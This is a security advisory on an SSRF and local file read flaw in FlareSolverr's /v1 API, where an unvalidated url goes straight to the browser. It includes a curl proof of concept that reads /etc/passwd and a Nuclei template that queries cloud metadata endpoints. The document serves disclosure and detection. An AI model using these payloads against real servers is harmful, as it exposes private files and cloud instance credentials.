FlareSolverr Server-Side Request Forgery (SSRF) Vulnerability Report

  • Severity: High
  • Affected Versions: FlareSolverr ≤ v3.4.6 (All versions)

Overview

FlareSolverr is a proxy service designed to bypass Cloudflare protections by automating a Chrome browser. In its /v1 API, the request.get and request.post commands process user-supplied url parameters without any validation of protocol, hostname, or IP address.

The application directly invokes driver.get(url) to navigate to the target URL. An attacker can exploit this behavior by crafting malicious URLs pointing to internal resources or local files. Additionally, since Chrome is launched with the --no-sandbox flag, the file:// protocol is accessible, enabling arbitrary local file read.


Vulnerability Type

  • Server-Side Request Forgery (SSRF)
  • Arbitrary File Read

Affected Components and Trigger Point

  • Endpoint: POST /v1 (JSON API)
  • Core Function: _evil_logic()driver.get(req.url) in flaresolverr_service.py
  • Trigger Condition:
    An attacker can send an HTTP POST request to the FlareSolverr service (default port: 8191) and control the url parameter.

Technical Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
HTTP POST /v1  ← Attacker sends request

├─ [flaresolverr.py L56-68] controller_v1()
│ data = request.json or {} ← Accepts JSON payload
│ req = V1RequestBase(data) ← Direct assignment, no validation

├─ [flaresolverr_service.py L100] controller_v1_endpoint(req)
│ ├─ [L103] _controller_v1_handler(req)
│ │ ├─ [L120-121] Only checks if req.cmd is None
│ │ ├─ [L134] req.cmd == 'request.get' → _cmd_request_get(req)
│ │
│ ├─ [L152-163] _cmd_request_get(req)
│ │ if req.url is None: raise Exception ← Only validation: url must not be null
│ │ challenge_res = _resolve_challenge(req, 'GET')
│ │
│ ├─ [L230-252] _resolve_challenge(req, 'GET')
│ │ driver = utils.get_webdriver(req.proxy) ← Create Chrome instance
│ │ return func_timeout(timeout, _evil_logic, (req, driver, 'GET'))
│ │
│ ├─ [L340-382] _evil_logic(req, driver, 'GET')
│ │ driver.get(req.url) ← Vulnerability: no validation at all
│ │ ...
│ │ challenge_res.response = driver.page_source ← Response returned to attacker
│ │
│ └─ JSON response returned

Key Observation

From controller_v1 to driver.get(req.url), no validation is performed on:

  • URL scheme (e.g., http, file, gopher)
  • Hostname
  • IP address (internal or external)

The only validation is a null check on req.url.


Additional Risk Factors

Chrome is launched with the following options (utils.py):

1
2
options.add_argument('--no-sandbox')
options.add_argument('--disable-setuid-sandbox')

hese options weaken browser isolation, allowing:

  • Access to file:// protocol
  • Potential exposure of local filesystem data

Root Cause

  1. Lack of Input Validation
    No whitelist for allowed protocols or blacklist for internal IP ranges.
  2. Broken Trust Boundary
    User-controlled input is directly passed into driver.get() without sanitization.
  3. Weakened Sandbox Security
    The use of --no-sandbox enables access to local files via file://.

Proof of Concept (PoC)

Arbitrary Local File Read (Requires Chrome without sandbox)

1
2
3
4
5
6
7
curl -X POST http://<TARGET>:8191/v1 \
-H "Content-Type: application/json" \
-d '{
"cmd": "request.get",
"url": "file:///etc/passwd",
"maxTimeout": 30000
}'

Automated Detection (Nuclei Template)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
id: flaresolverr-ssrf

info:
name: FlareSolverr SSRF to Cloud Metadata
author: wang1r
severity: critical
tags: ssrf,cloud,metadata

http:
- method: POST
path:
- "{{BaseURL}}/v1"
headers:
Content-Type: application/json
body: |
{
"cmd": "request.get",
"url": "http://metadata.tencentyun.com/latest/meta-data/",
"maxTimeout": 30000
}
matchers:
- type: status
status:
- 200
- type: regex
regex:
- payment
part: body
matchers-condition: and

- method: POST
path:
- "{{BaseURL}}/v1"
headers:
Content-Type: application/json
body: |
{
"cmd": "request.get",
"url": "http://100.100.100.200/latest/meta-data/",
"maxTimeout": 30000
}
matchers:
- type: status
status:
- 200
- type: regex
regex:
- instance-id
part: body
matchers-condition: and

This template leverages the vulnerable request.get functionality to trigger SSRF by accessing well-known cloud metadata endpoints. A successful match indicates that the server is capable of reaching internal metadata services, confirming the presence of the vulnerability.

Usage

1
2
3
The vulnerability can be verified using Nuclei:

nuclei -u http://<target>:8191 -t flaresolverr-ssrf.yaml

Security Impact

An attacker can:

  • Access internal network services (SSRF)
  • Retrieve cloud instance metadata
  • Read arbitrary local files
  • Potentially escalate to further compromise depending on environment

References